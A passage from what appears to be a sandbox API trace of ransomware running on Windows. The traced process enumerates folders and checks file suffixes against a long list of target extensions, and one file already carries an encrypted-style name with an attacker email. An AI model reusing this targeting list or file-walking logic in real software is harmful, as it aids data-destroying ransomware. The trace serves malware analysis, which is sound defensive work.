ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0086.878] FindClose (in: hFindFile=0x4260410 | out: hFindFile=0x4260410) returned 1 [0086.879] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0086.879] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1 [0086.879] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0086.879] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045") returned 26 [0086.879] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc6a85464, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260190 [0086.879] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc6a85464, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.879] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc648f4d9, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc648f4d9, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc64b57ea, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x10b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0086.879] lstrlenW (lpString="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr") returned 46 [0086.879] lstrlenW (lpString=".1cd") returned 4 [0086.879] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0086.879] lstrlenW (lpString=".3ds") returned 4 [0086.879] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0086.879] lstrlenW (lpString=".3fr") returned 4 [0086.879] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0086.879] lstrlenW (lpString=".3g2") returned 4 [0086.880] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0086.880] lstrlenW (lpString=".3gp") returned 4 [0086.880] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0086.880] lstrlenW (lpString=".7z") returned 3 [0086.880] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0086.880] lstrlenW (lpString=".accda") returned 6 [0086.880] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0086.880] lstrlenW (lpString=".accdb") returned 6 [0086.880] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0086.880] lstrlenW (lpString=".accdc") returned 6 [0086.880] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0086.880] lstrlenW (lpString=".accde") returned 6 [0086.880] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0086.880] lstrlenW (lpString=".accdt") returned 6 [0086.880] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0086.880] lstrlenW (lpString=".accdw") returned 6 [0086.880] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0086.880] lstrlenW (lpString=".adb") returned 4 [0086.880] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0086.880] lstrlenW (lpString=".adp") returned 4 [0086.880] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0086.880] lstrlenW (lpString=".ai") returned 3 [0086.880] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0086.880] lstrlenW (lpString=".ai3") returned 4 [0086.880] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0086.880] lstrlenW (lpString=".ai4") returned 4 [0086.881] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0086.881] lstrlenW (lpString=".ai5") returned 4 [0086.881] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0086.881] lstrlenW (lpString=".ai6") returned 4 [0086.881] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0086.881] lstrlenW (lpString=".ai7") returned 4 [0086.881] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0086.881] lstrlenW (lpString=".ai8") returned 4 [0086.881] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0086.881] lstrlenW (lpString=".anim") returned 5 [0086.881] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0086.881] lstrlenW (lpString=".arw") returned 4 [0086.881] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0086.881] lstrlenW (lpString=".as") returned 3 [0086.881] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0086.881] lstrlenW (lpString=".asa") returned 4 [0086.881] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0086.881] lstrlenW (lpString=".asc") returned 4 [0086.900] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0086.900] lstrlenW (lpString=".ascx") returned 5 [0086.900] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0086.900] lstrlenW (lpString=".asm") returned 4 [0086.900] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0086.900] lstrlenW (lpString=".asmx") returned 5 [0086.900] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0086.900] lstrlenW (lpString=".asp") returned 4 [0086.900] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0086.900] lstrlenW (lpString=".aspx") returned 5 [0086.900] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0086.900] lstrlenW (lpString=".asr") returned 4 [0086.900] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0086.900] lstrlenW (lpString=".asx") returned 4 [0086.900] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0086.900] lstrlenW (lpString=".avi") returned 4 [0086.900] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0086.900] lstrlenW (lpString=".avs") returned 4 [0086.900] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0086.900] lstrlenW (lpString=".backup") returned 7 [0086.900] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0086.900] lstrlenW (lpString=".bak") returned 4 [0086.901] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0086.901] lstrlenW (lpString=".bay") returned 4 [0086.901] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0086.901] lstrlenW (lpString=".bd") returned 3 [0086.901] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0086.901] lstrlenW (lpString=".bin") returned 4 [0086.901] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0086.901] lstrlenW (lpString=".bmp") returned 4 [0086.901] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0086.901] lstrlenW (lpString=".bz2") returned 4 [0086.901] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0086.901] lstrlenW (lpString=".c") returned 2 [0086.901] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0086.901] lstrlenW (lpString=".cdr") returned 4 [0086.901] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0086.901] lstrlenW (lpString=".cer") returned 4 [0086.901] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0086.901] lstrlenW (lpString=".cf") returned 3 [0086.901] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0086.901] lstrlenW (lpString=".cfc") returned 4 [0086.901] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0086.901] lstrlenW (lpString=".cfm") returned 4 [0086.901] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0086.901] lstrlenW (lpString=".cfml") returned 5 [0086.901] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0086.901] lstrlenW (lpString=".cfu") returned 4 [0086.902] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0086.902] lstrlenW (lpString=".chm") returned 4 [0086.902] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0086.902] lstrlenW (lpString=".cin") returned 4 [0086.902] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0086.902] lstrlenW (lpString=".class") returned 6 [0086.902] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0086.902] lstrlenW (lpString=".clx") returned 4 [0086.902] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0086.902] lstrlenW (lpString=".config") returned 7 [0086.902] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0086.902] lstrlenW (lpString=".cpp") returned 4 [0086.902] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0086.902] lstrlenW (lpString=".cr2") returned 4 [0086.902] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0086.902] lstrlenW (lpString=".crt") returned 4 [0086.902] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0086.902] lstrlenW (lpString=".crw") returned 4 [0086.902] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0086.902] lstrlenW (lpString=".cs") returned 3 [0086.902] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0086.902] lstrlenW (lpString=".css") returned 4 [0086.902] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0086.902] lstrlenW (lpString=".csv") returned 4 [0086.902] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0086.902] lstrlenW (lpString=".cub") returned 4 [0086.903] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0086.903] lstrlenW (lpString=".dae") returned 4 [0086.903] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0086.903] lstrlenW (lpString=".dat") returned 4 [0086.903] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0086.903] lstrlenW (lpString=".db") returned 3 [0086.903] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0086.903] lstrlenW (lpString=".dbf") returned 4 [0086.903] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0086.903] lstrlenW (lpString=".dbx") returned 4 [0086.903] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0086.903] lstrlenW (lpString=".dc3") returned 4 [0086.903] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0086.903] lstrlenW (lpString=".dcm") returned 4 [0086.903] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0086.903] lstrlenW (lpString=".dcr") returned 4 [0086.903] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0086.903] lstrlenW (lpString=".der") returned 4 [0086.903] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0086.903] lstrlenW (lpString=".dib") returned 4 [0086.903] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0086.903] lstrlenW (lpString=".dic") returned 4 [0086.903] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0086.903] lstrlenW (lpString=".dif") returned 4 [0086.903] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0086.903] lstrlenW (lpString=".divx") returned 5 [0086.904] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0086.904] lstrlenW (lpString=".djvu") returned 5 [0086.904] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0086.904] lstrlenW (lpString=".dng") returned 4 [0086.904] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0086.904] lstrlenW (lpString=".doc") returned 4 [0086.904] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0086.904] lstrlenW (lpString=".docm") returned 5 [0086.904] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0086.904] lstrlenW (lpString=".docx") returned 5 [0086.904] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0086.904] lstrlenW (lpString=".dot") returned 4 [0086.904] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0086.904] lstrlenW (lpString=".dotm") returned 5 [0086.904] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0086.904] lstrlenW (lpString=".dotx") returned 5 [0086.904] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0086.904] lstrlenW (lpString=".dpx") returned 4 [0086.904] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0086.904] lstrlenW (lpString=".dqy") returned 4 [0086.904] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0086.904] lstrlenW (lpString=".dsn") returned 4 [0086.904] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0086.904] lstrlenW (lpString=".dt") returned 3 [0086.904] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0086.904] lstrlenW (lpString=".dtd") returned 4 [0086.904] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0086.904] lstrlenW (lpString=".dwg") returned 4 [0086.905] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0086.905] lstrlenW (lpString=".dwt") returned 4 [0086.905] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0086.905] lstrlenW (lpString=".dx") returned 3 [0086.905] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0086.905] lstrlenW (lpString=".dxf") returned 4 [0086.905] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0086.905] lstrlenW (lpString=".edml") returned 5 [0086.905] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0086.905] lstrlenW (lpString=".efd") returned 4 [0086.905] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0086.905] lstrlenW (lpString=".elf") returned 4 [0086.905] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0086.905] lstrlenW (lpString=".emf") returned 4 [0086.905] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0086.905] lstrlenW (lpString=".emz") returned 4 [0086.905] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned -1 [0086.905] lstrlenW (lpString=".epf") returned 4 [0086.905] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0086.905] lstrlenW (lpString=".eps") returned 4 [0086.905] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0086.905] lstrlenW (lpString=".epsf") returned 5 [0086.905] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0086.905] lstrlenW (lpString=".epsp") returned 5 [0086.905] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0086.906] lstrlenW (lpString=".erf") returned 4 [0086.906] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0086.906] lstrlenW (lpString=".exr") returned 4 [0086.906] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0086.906] lstrlenW (lpString=".f4v") returned 4 [0086.906] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0086.906] lstrlenW (lpString=".fido") returned 5 [0086.906] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0086.906] lstrlenW (lpString=".flm") returned 4 [0086.906] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0086.906] lstrlenW (lpString=".flv") returned 4 [0086.906] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0086.906] lstrlenW (lpString=".frm") returned 4 [0086.906] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0086.906] lstrlenW (lpString=".fxg") returned 4 [0086.906] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0086.906] lstrlenW (lpString=".geo") returned 4 [0086.906] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0086.906] lstrlenW (lpString=".gif") returned 4 [0086.906] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0086.906] lstrlenW (lpString=".grs") returned 4 [0086.906] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0086.906] lstrlenW (lpString=".gz") returned 3 [0086.906] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0086.906] lstrlenW (lpString=".h") returned 2 [0086.906] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0086.907] lstrlenW (lpString=".hdr") returned 4 [0086.907] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0086.907] lstrlenW (lpString=".hpp") returned 4 [0086.907] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0086.907] lstrlenW (lpString=".hta") returned 4 [0086.907] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0086.907] lstrlenW (lpString=".htc") returned 4 [0086.907] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0086.907] lstrlenW (lpString=".htm") returned 4 [0086.907] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0086.907] lstrlenW (lpString=".html") returned 5 [0086.907] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0086.907] lstrlenW (lpString=".icb") returned 4 [0086.907] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0086.907] lstrlenW (lpString=".ics") returned 4 [0086.907] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0086.907] lstrlenW (lpString=".iff") returned 4 [0086.907] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0086.907] lstrlenW (lpString=".inc") returned 4 [0086.907] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0086.907] lstrlenW (lpString=".indd") returned 5 [0086.907] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0086.907] lstrlenW (lpString=".ini") returned 4 [0086.907] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0086.907] lstrlenW (lpString=".iqy") returned 4 [0086.907] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0086.908] lstrlenW (lpString=".j2c") returned 4 [0086.908] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0086.908] lstrlenW (lpString=".j2k") returned 4 [0086.908] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0086.908] lstrlenW (lpString=".java") returned 5 [0086.908] lstrcmpiW (lpString1=".java", lpString2="c].kr") returned -1 [0086.908] lstrlenW (lpString=".jp2") returned 4 [0086.908] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0086.908] lstrlenW (lpString=".jpc") returned 4 [0086.908] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0086.908] lstrlenW (lpString=".jpe") returned 4 [0086.908] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0086.908] lstrlenW (lpString=".jpeg") returned 5 [0086.908] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0086.908] lstrlenW (lpString=".jpf") returned 4 [0086.908] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0086.908] lstrlenW (lpString=".jpg") returned 4 [0086.908] lstrcmpiW (lpString1=".jpg", lpString2="].kr") returned -1 [0086.908] lstrlenW (lpString=".jpx") returned 4 [0086.908] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0086.908] lstrlenW (lpString=".js") returned 3 [0086.908] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0086.908] lstrlenW (lpString=".jsf") returned 4 [0086.908] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0086.908] lstrlenW (lpString=".json") returned 5 [0086.908] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0086.909] lstrlenW (lpString=".jsp") returned 4 [0086.909] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0086.909] lstrlenW (lpString=".kdc") returned 4 [0086.909] lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0086.909] lstrlenW (lpString=".kmz") returned 4 [0086.909] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0086.909] lstrlenW (lpString=".kwm") returned 4 [0086.909] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0086.909] lstrlenW (lpString=".lasso") returned 6 [0086.909] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0086.909] lstrlenW (lpString=".lbi") returned 4 [0086.909] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0086.909] lstrlenW (lpString=".lgf") returned 4 [0086.909] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0086.909] lstrlenW (lpString=".lgp") returned 4 [0086.909] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0086.909] lstrlenW (lpString=".log") returned 4 [0086.909] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0086.909] lstrlenW (lpString=".m1v") returned 4 [0086.909] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0086.909] lstrlenW (lpString=".m4a") returned 4 [0086.909] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0086.909] lstrlenW (lpString=".m4v") returned 4 [0086.909] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0086.909] lstrlenW (lpString=".max") returned 4 [0086.909] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0086.910] lstrlenW (lpString=".md") returned 3 [0086.910] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0086.910] lstrlenW (lpString=".mda") returned 4 [0086.910] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0086.910] lstrlenW (lpString=".mdb") returned 4 [0086.910] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0086.910] lstrlenW (lpString=".mde") returned 4 [0086.910] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0086.910] lstrlenW (lpString=".mdf") returned 4 [0086.910] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0086.910] lstrlenW (lpString=".mdw") returned 4 [0086.910] lstrcmpiW (lpString1=".mdw", lpString2="].kr") returned -1 [0086.910] lstrlenW (lpString=".mef") returned 4 [0086.910] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0086.910] lstrlenW (lpString=".mft") returned 4 [0086.910] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0086.910] lstrlenW (lpString=".mfw") returned 4 [0086.910] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0086.910] lstrlenW (lpString=".mht") returned 4 [0086.910] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0086.910] lstrlenW (lpString=".mhtml") returned 6 [0086.910] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0086.910] lstrlenW (lpString=".mka") returned 4 [0086.910] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0086.910] lstrlenW (lpString=".mkidx") returned 6 [0086.911] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0086.911] lstrlenW (lpString=".mkv") returned 4 [0086.911] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0086.911] lstrlenW (lpString=".mos") returned 4 [0086.911] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0086.911] lstrlenW (lpString=".mov") returned 4 [0086.911] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0086.911] lstrlenW (lpString=".mp3") returned 4 [0086.911] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0086.911] lstrlenW (lpString=".mp4") returned 4 [0086.911] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0086.911] lstrlenW (lpString=".mpeg") returned 5 [0086.911] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0086.911] lstrlenW (lpString=".mpg") returned 4 [0086.911] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0086.911] lstrlenW (lpString=".mpv") returned 4 [0086.911] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0086.911] lstrlenW (lpString=".mrw") returned 4 [0086.911] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0086.911] lstrlenW (lpString=".msg") returned 4 [0086.911] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0086.911] lstrlenW (lpString=".mxl") returned 4 [0086.911] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0086.911] lstrlenW (lpString=".myd") returned 4 [0086.911] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0086.911] lstrlenW (lpString=".myi") returned 4 [0086.911] lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0086.912] lstrlenW (lpString=".nef") returned 4 [0086.912] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0086.912] lstrlenW (lpString=".nrw") returned 4 [0086.912] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0086.912] lstrlenW (lpString=".obj") returned 4 [0086.912] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0086.912] lstrlenW (lpString=".odb") returned 4 [0086.912] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0086.912] lstrlenW (lpString=".odc") returned 4 [0086.912] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0086.912] lstrlenW (lpString=".odm") returned 4 [0086.912] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0086.912] lstrlenW (lpString=".odp") returned 4 [0086.912] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0086.912] lstrlenW (lpString=".ods") returned 4 [0086.912] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0086.912] lstrlenW (lpString=".oft") returned 4 [0086.912] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0086.912] lstrlenW (lpString=".one") returned 4 [0086.912] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0086.912] lstrlenW (lpString=".onepkg") returned 7 [0086.912] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0086.912] lstrlenW (lpString=".onetoc2") returned 8 [0086.912] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0087.335] lstrlenW (lpString=".opt") returned 4 [0087.335] lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0087.335] lstrlenW (lpString=".oqy") returned 4 [0087.335] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0087.335] lstrlenW (lpString=".orf") returned 4 [0087.335] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0087.335] lstrlenW (lpString=".p12") returned 4 [0087.336] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0087.336] lstrlenW (lpString=".p7b") returned 4 [0087.336] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0087.336] lstrlenW (lpString=".p7c") returned 4 [0087.336] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0087.336] lstrlenW (lpString=".pam") returned 4 [0087.336] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0087.336] lstrlenW (lpString=".pbm") returned 4 [0087.336] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0087.336] lstrlenW (lpString=".pct") returned 4 [0087.336] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0087.336] lstrlenW (lpString=".pcx") returned 4 [0087.336] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0087.336] lstrlenW (lpString=".pdd") returned 4 [0087.336] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0087.336] lstrlenW (lpString=".pdf") returned 4 [0087.336] lstrcmpiW (lpString1=".pdf", 